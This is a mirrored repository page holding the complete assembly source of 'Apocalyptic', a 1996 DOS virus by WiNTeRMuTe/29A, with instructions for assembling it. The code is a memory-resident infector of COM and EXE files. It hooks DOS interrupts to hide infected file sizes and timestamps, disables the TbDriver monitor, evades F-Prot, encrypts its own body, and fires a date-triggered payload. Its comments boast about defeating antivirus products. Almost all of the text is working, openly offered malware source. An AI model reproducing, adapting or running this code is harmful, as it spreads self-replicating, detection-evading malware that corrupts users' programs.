mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
678 lines
21 KiB
NASM
678 lines
21 KiB
NASM
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; Virus name: Apocalyptic
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; Author: WiNTeRMuTe/29A
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; Size: 1058 bytes
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; Origin: Madrid, Spain
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; Finished: October, 1996 ( with a pair of corrections after that )
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;
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;
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; Characteristics and curiosities
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;
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; - TSR appending Com/Exe infector
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; - Has a routine to encrypt and another to decrypt ( ror+add+xor )
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; - Stealth ( 11h/12h/4eh/4fh/5700h )
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; - Deactivates Tbdriver when going into mem and when infecting
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; - Makes the int 3h point to the int21h on infection
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; - Fools f-prot's 'stealth detection'
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; - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan,
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; Avp and else. TbClean doesn't clean it ( it gets lost with the Z Mcb
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; searching loop,... really that product is a shit )
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; - Payload: On 26th of July it shows all file with size 029Ah ( 666 )
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;
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;
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; Thanks go to:
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;
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; - All the 29A staff; rulez ! Specially in the spanish scene to MrSandman,
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; VirusBuster, Griyo, Mr.White, Avv, Anibal and ORP
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; - Living Turmoil, specially Warblade and Krackbaby... go on with the mags!
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; - H/P/C/A/V people in my bbs like Patuel, the Black Rider, MegaMan,
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; Bitspawn, Netrunner, the S.H.E.... and of course to my sysop 'Uni' and the
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; other cosysops...
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;
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;
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; And fucks go to:
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;
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; - Some Fidoasses. They know who they are.
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;
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;
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;
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; " Why don't you get a life and grow up,
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; why don't you realize that you're fucked up,
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; why criticize what you don't understand,
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; why change my words, you're so afraid "
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;
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; ( Sepultura )
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;
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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;
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; To assemble the virus, use:
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;
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; Tasm virus.asm
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; Tlink virus.obj
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;
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.286
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HOSTSEG segment BYTE
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ASSUME CS:HOSTSEG, SS:CODIGO
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Host:
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mov ax,4c00h
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int 21h
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ends
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CODIGO segment PARA
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ASSUME CS:CODIGO, DS:CODIGO, SS:CODIGO
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virus_size equ virus_end-virus_start
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encrypt_size equ encrypt_end-encrypt_start
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virus_start label byte
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org 0h
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Letsrock:
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call delta ; Entry for Com/Exe
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delta:
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mov si,sp ; <20>-offset
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mov bp,word ptr ss:[si]
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sub bp,offset delta
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push es ax ds
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push cs
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pop ds
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call tomacha ; I don't call encryption
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;on first generation
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Encrypt_start label byte
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;***************************************************************************
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; RESIDENCE
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;***************************************************************************
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goon:
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push es
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call tbdriver ; Deactivate TbDriver
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mov ah,52h ; Pick list of lists
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int 21h
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mov si,es:[bx-2] ; First MCB
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mov es,si
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Mcb_Loop:
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cmp byte ptr es:[0],'Z' ; I search last Mcb.
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je got_last
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cont: add si,es:[3]
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inc si
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mov es,si
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jmp Mcb_Loop
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got_last:
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pop dx
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cmp word ptr es:[1],0h ; Is it free ?
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je go_on
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cmp word ptr es:[1],dx ; Or with active Psp ?
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jne exit
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go_on:
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cmp word ptr es:[3],((virus_size+15)/16)+1
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jb exit ; Is there space for me ?
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push es ; If there is, I get resident
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pop ds
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mov di,es
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add di,word ptr es:[3] ; Residence stuff; nothing
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sub di,((virus_size+15)/16) ;special
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push di
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mov es,di
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xor di,di
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xor si,si
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mov cx,8
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rep movsw
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pop di
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inc di
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mov word ptr es:[3],((virus_size+15)/16)+1
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mov word ptr es:[1],di
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mov byte ptr ds:[0],'M'
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sub word ptr ds:[3],((virus_size+15)/16)+1
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mov di,5
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mov cx,12
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xor al,al
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rep stosb
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push es cs
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pop ds ax
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inc ax
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push ax
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mov es,ax
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xor di,di
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mov si,bp
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mov cx,(virus_size)
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rep movsb
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mov ax,3521h
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int 21h
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pop ds
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mov ds:word ptr [int21h],bx
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mov ds:word ptr [int21h+2],es
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mov ah,25h
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lea dx,main_center
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int 21h
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;***************************************************************************
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; RETURN TO HOST
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;***************************************************************************
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exit:
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pop ds ax es
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dec byte ptr [flag+bp] ; Was it a Com ?
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jz era_un_com
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mov si,ds ; Recover stack
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add si,cs:word ptr [ss_sp+bp]
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add si,10h
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cli
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mov ss,si
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mov sp,cs:word ptr [ss_sp+bp+2]
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sti
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mov si,ds ; Recover CS:IP
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add si,cs:word ptr [cs_ip+bp+2]
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add si,10h
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push si
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push cs:word ptr [cs_ip+bp]
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retf ; Return to host
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era_un_com:
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mov di,100h ; If it's a Com, I make
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push di ;it to return
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lea si,bp+ss_sp
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movsw
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movsb
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ret
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condiciones:
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push cx dx ; Payload trigger
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mov ah,02ah ; Activates on 26th july
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int 21h
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cmp dx,071Ah
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pop dx cx
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jnz nain
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stc
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ret
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nain:
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clc
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ret
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;***************************************************************************
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; TBDRIVER
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;***************************************************************************
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Tbdriver:
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xor ax,ax ; Annulates TBdriver,...
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mov es,ax ;really, this Av is a
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les bx,es:[0084h] ;megashit.
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cmp byte ptr es:[bx+2],0eah
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jnz volvamos
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push word ptr es:[bx+3]
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push word ptr es:[bx+5]
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mov es,ax
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pop word ptr es:[0086h]
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pop word ptr es:[0084h]
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volvamos: ret
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;***************************************************************************
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; STEALTH 05700h
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;***************************************************************************
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Stealth_tiempo:
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pushf
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call dword ptr cs:[Int21h] ; Calls Int21h
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push cx
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and cl,01fh
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xor cl,01fh
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pop cx
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jnz nada
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or cl,01fh ; Changes seconds
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nada:
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retf 2
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;****************************************************************************
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; FCB STEALTH
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;****************************************************************************
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FCB_Stealth:
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pushf ; Stealth of 11h/12h, by
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call dword ptr cs:[Int21h] ;FCBs
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test al,al
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jnz sin_stealth
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push ax bx es
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mov ah,51h
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int 21h
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mov es,bx
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cmp bx,es:[16h]
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jnz No_infectado
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mov bx,dx
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mov al,[bx]
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push ax
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mov ah,2fh
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int 21h
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pop ax
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inc al
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jnz Normal_FCB
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add bx,7h
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Normal_FCB:
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mov al,es:[bx+17h]
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and al,1fh
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xor al,1fh
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jnz No_infectado
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sub word ptr es:[bx+1dh],Virus_size ; Old lenght of
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sbb word ptr es:[bx+1fh],0 ;file and "normal"
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and byte ptr es:[bx+17h],0F1h ;seconds
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No_infectado:
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call condiciones
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jnc sin_nada
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mov word ptr es:[bx+1dh],029Ah ; Virus's payload
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mov word ptr es:[bx+1fh],0h
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sin_nada:
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pop es bx ax
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Sin_stealth: retf 2
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;****************************************************************************
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; INT 21h
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;****************************************************************************
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main_center: ; The main center !
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cmp ax,5700h
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jz stealth_tiempo
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cmp ah,11h
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jz fcb_stealth
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cmp ah,12h
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jz fcb_stealth
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cmp ah,4eh
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jz handle_stealth
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cmp ah,4fh
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jz handle_stealth
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cmp ah,4bh
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je ejecutar
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jmp saltito
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;****************************************************************************
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; HANDLE STEALTH
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;****************************************************************************
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handle_stealth:
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pushf ; Handle stealth, functions
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call dword ptr cs:[Int21h] ;4eh/4fh
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jc adios_handle
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pushf
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push ax es bx cx
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anti_antivirus:
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mov ah,62h
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int 21h
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mov es,bx ; Is it F-prot ?
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mov es,word ptr es:[2ch]
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xor bx,bx
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mov cx,100h
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fpr:
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cmp word ptr es:[bx],'-F'
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jz sin_infectar ; Si lo es, pasamos de hacer
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inc bx ;el stealth
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loop fpr
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mov ah,2fh
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int 21h
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mov al,es:[bx+16h]
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and al,1fh
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xor al,1fh
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jnz sin_infectar
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sub word ptr es:[bx+1ah],Virus_size ; Subs virus size
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sbb word ptr es:[bx+1ch],0 ;and places coherent
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and byte ptr es:[bx+16h],0F1h ;seconds
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sin_infectar:
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call condiciones
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jnc no_payload
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mov word ptr es:[bx+1ah],029Ah ; payload
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mov word ptr es:[bx+1ch],0h
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no_payload:
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pop cx bx es ax
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popf
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adios_handle:
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retf 2
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;****************************************************************************
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; EXE INFECTION
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;****************************************************************************
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ejecutar:
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pushf
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push ax bx cx dx si di ds es bp
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mov di,ds
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mov si,dx
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call tbdriver ; deactivates TbDriver
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mov ax,3503h ; Int 3h points to the
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int 21h ;int 21h: less size and we
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push cs ;fuck'em a bit
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pop ds
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mov ah,25h
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lea dx,saltito
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int 21h
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push es bx ax
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mov ax,3524h ; We handle int 24h
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int 3h
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|
|
mov ah,25h
|
|||
|
|
lea dx,int24h
|
|||
|
|
int 3h
|
|||
|
|
push es bx ax
|
|||
|
|
|
|||
|
|
mov ds,di
|
|||
|
|
mov dx,si
|
|||
|
|
|
|||
|
|
Noloes:
|
|||
|
|
mov ax,4300h ; Saves and clears file
|
|||
|
|
int 3h ;attributes
|
|||
|
|
mov ax,4301h
|
|||
|
|
push ax cx dx
|
|||
|
|
xor cx,cx
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
vamos_a_ver_si_exe:
|
|||
|
|
|
|||
|
|
mov byte ptr [flag],00h
|
|||
|
|
mov ax,3d02h ; Opens file
|
|||
|
|
int 3h
|
|||
|
|
jc we_close
|
|||
|
|
|
|||
|
|
infect: xchg ax,bx
|
|||
|
|
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov ah,3fh ; Reads header
|
|||
|
|
mov cx,01ch
|
|||
|
|
lea dx,cabecera
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
mov al,byte ptr [cabecera] ; Makes comprobations
|
|||
|
|
add al,byte ptr [cabecera+1]
|
|||
|
|
cmp al,'M'+'Z'
|
|||
|
|
jnz go_close
|
|||
|
|
cmp word ptr [cabecera+18h],40h
|
|||
|
|
jz go_close
|
|||
|
|
cmp word ptr [cabecera+1ah],0
|
|||
|
|
jnz go_close ; If it's all right, goes on
|
|||
|
|
jmp conti
|
|||
|
|
|
|||
|
|
go_close:
|
|||
|
|
mov ds,di
|
|||
|
|
mov dx,si
|
|||
|
|
|
|||
|
|
buscar_final: cmp byte ptr ds:[si],0 ; Searches end in ds:si
|
|||
|
|
je chequeo
|
|||
|
|
inc si
|
|||
|
|
jmp buscar_final
|
|||
|
|
|
|||
|
|
chequeo:
|
|||
|
|
push cs ; Is it a .COM ?
|
|||
|
|
pop es
|
|||
|
|
lea di,comtxt
|
|||
|
|
sub si,3
|
|||
|
|
cmpsw
|
|||
|
|
jne we_close
|
|||
|
|
jmp infeccion_com
|
|||
|
|
|
|||
|
|
we_close:
|
|||
|
|
jmp close
|
|||
|
|
|
|||
|
|
conti:
|
|||
|
|
mov ax,5700h ; Time/date of file
|
|||
|
|
push ax
|
|||
|
|
int 3h
|
|||
|
|
push dx cx
|
|||
|
|
and cl,1fh
|
|||
|
|
xor cl,1fh
|
|||
|
|
jz close_ant
|
|||
|
|
|
|||
|
|
call pointerant
|
|||
|
|
cmp ax,0200h
|
|||
|
|
ja contt
|
|||
|
|
noinz: xor si,si ; To avoid changing
|
|||
|
|
jmp close_ant ;date of non-infected
|
|||
|
|
;files
|
|||
|
|
contt:
|
|||
|
|
|
|||
|
|
push ax
|
|||
|
|
pop si
|
|||
|
|
shr ax,4
|
|||
|
|
shl dx,12
|
|||
|
|
add dx,ax
|
|||
|
|
sub dx,word ptr ds:cabecera+8
|
|||
|
|
push dx
|
|||
|
|
|
|||
|
|
and si,0fh
|
|||
|
|
push si
|
|||
|
|
call copy
|
|||
|
|
pop si
|
|||
|
|
|
|||
|
|
pop dx
|
|||
|
|
mov ds:word ptr [cs_ip+2],dx
|
|||
|
|
inc dx
|
|||
|
|
mov ds:word ptr [ss_sp],dx
|
|||
|
|
mov ds:word ptr [cs_ip],si
|
|||
|
|
mov ds:word ptr [ss_sp+2],((virus_size+100h-15h)/2)*2
|
|||
|
|
|
|||
|
|
call pointerant
|
|||
|
|
|
|||
|
|
mov cx,200h
|
|||
|
|
div cx
|
|||
|
|
inc ax
|
|||
|
|
mov word ptr [cabecera+2],dx
|
|||
|
|
mov word ptr [cabecera+4],ax
|
|||
|
|
mov word ptr [cabecera+0ah],((virus_size)/16)+10h
|
|||
|
|
|
|||
|
|
mov ax,4200h
|
|||
|
|
call pointer
|
|||
|
|
mov cx,1ch
|
|||
|
|
lea dx,cabecera
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov ah,40h
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
close_ant:
|
|||
|
|
pop cx dx ax
|
|||
|
|
or si,si
|
|||
|
|
je close
|
|||
|
|
inc ax
|
|||
|
|
or cl,1fh
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
|
|||
|
|
close:
|
|||
|
|
|
|||
|
|
pop dx cx ax ; Attributes
|
|||
|
|
inc ax
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,03eh
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
nahyuck:
|
|||
|
|
|
|||
|
|
pop ax dx ds ; Restores Int 24h y 3h
|
|||
|
|
int 3h
|
|||
|
|
pop ax dx ds
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
pop bp es ds di si dx cx bx ax
|
|||
|
|
popf
|
|||
|
|
jmp saltito
|
|||
|
|
|
|||
|
|
Pointerant:
|
|||
|
|
mov ax,4202h
|
|||
|
|
Pointer:
|
|||
|
|
xor cx,cx
|
|||
|
|
cwd
|
|||
|
|
int 3h
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
; COM INFECTION
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
|
|||
|
|
infeccion_com:
|
|||
|
|
|
|||
|
|
mov ax,3d02h ; Open
|
|||
|
|
int 3h
|
|||
|
|
jc close
|
|||
|
|
xchg bx,ax
|
|||
|
|
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
|
|||
|
|
mov byte ptr [flag],1h ; To make the virus know it's
|
|||
|
|
;a com when restoring
|
|||
|
|
mov ax,5700h ; Time/date
|
|||
|
|
push ax
|
|||
|
|
int 3h
|
|||
|
|
push dx cx
|
|||
|
|
and cl,1fh
|
|||
|
|
xor cl,1fh
|
|||
|
|
jz close_ant
|
|||
|
|
|
|||
|
|
quesiquevale:
|
|||
|
|
mov ah,3fh ; Reads beggining of file
|
|||
|
|
mov cx,3
|
|||
|
|
lea dx,ss_sp
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
call pointerant ; Lenght check
|
|||
|
|
cmp ax,0200h
|
|||
|
|
ja puedes_seguir
|
|||
|
|
cmp ax,(0ffffh-virus_size-100h)
|
|||
|
|
jna puedes_seguir
|
|||
|
|
alnoin: jmp noinz
|
|||
|
|
|
|||
|
|
puedes_seguir:
|
|||
|
|
sub ax,3
|
|||
|
|
mov word ptr [cabecera],ax
|
|||
|
|
|
|||
|
|
call copy ; Appending
|
|||
|
|
|
|||
|
|
mov ax,4200h
|
|||
|
|
call pointer
|
|||
|
|
|
|||
|
|
mov ah,40h ; Jumping to code at
|
|||
|
|
lea dx,salt ;beggining
|
|||
|
|
mov cx,3h
|
|||
|
|
int 3h
|
|||
|
|
|
|||
|
|
jmp close_ant
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
; DATA
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
autor: db 'Apocalyptic by Wintermute/29A'
|
|||
|
|
comtxt: db 'COM'
|
|||
|
|
flag: db 0
|
|||
|
|
salt: db 0e9h
|
|||
|
|
cabecera: db 0eh dup (90h)
|
|||
|
|
SS_SP: dw 0,offset virus_end+100h
|
|||
|
|
Checksum: dw 0
|
|||
|
|
CS_IP: dw offset host,0
|
|||
|
|
Cequis: dw 0,0,0,0
|
|||
|
|
|
|||
|
|
Encrypt_end label byte
|
|||
|
|
|
|||
|
|
copy:
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
xor bp,bp ; Don't let bp fuck us
|
|||
|
|
call encryptant ; Encrypts
|
|||
|
|
mov ah,40h ; Copies
|
|||
|
|
mov cx,virus_size
|
|||
|
|
lea dx,letsrock
|
|||
|
|
int 3h
|
|||
|
|
call deencrypt ; Deencrypts
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;****************************************************************************
|
|||
|
|
; ENCRYPT ROUTINE
|
|||
|
|
;****************************************************************************
|
|||
|
|
|
|||
|
|
encryptant:
|
|||
|
|
lea si,encrypt_end ; Encrypts
|
|||
|
|
mov cx,encrypt_size
|
|||
|
|
enc_loop: mov dl,byte ptr [si]
|
|||
|
|
sub dl,2h
|
|||
|
|
xor dl,0f9h
|
|||
|
|
ror dl,4
|
|||
|
|
mov byte ptr [si],dl
|
|||
|
|
dec si
|
|||
|
|
loop enc_loop
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
deencrypt:
|
|||
|
|
lea si,encrypt_end+bp ; Deencrypts
|
|||
|
|
mov cx,encrypt_size
|
|||
|
|
mov di,8
|
|||
|
|
encri: mov dl,byte ptr [si]
|
|||
|
|
mov al,dl
|
|||
|
|
rol dl,4
|
|||
|
|
xor dl,0f9h
|
|||
|
|
add dl,2h
|
|||
|
|
mov byte ptr [si],dl
|
|||
|
|
dec si
|
|||
|
|
loop encri
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
Int24h: mov al,3
|
|||
|
|
ret
|
|||
|
|
Saltito: db 0eah
|
|||
|
|
int21h: dw 0,0
|
|||
|
|
|
|||
|
|
|
|||
|
|
virus_end label byte
|
|||
|
|
|
|||
|
|
tomacha:
|
|||
|
|
mov cs:word ptr encrypt_start-2+bp,deencrypt-encrypt_start
|
|||
|
|
ret
|
|||
|
|
; This is cause I don't like putting a stupid flag,
|
|||
|
|
; this two commands won't be copied
|
|||
|
|
|
|||
|
|
CODIGO ends
|
|||
|
|
END Letsrock
|
|||
|
|
|
|||
|
|
VSTACK segment para STACK 'Stack'
|
|||
|
|
|
|||
|
|
db 100h dup (90h)
|
|||
|
|
|
|||
|
|
ends
|
|||
|
|
|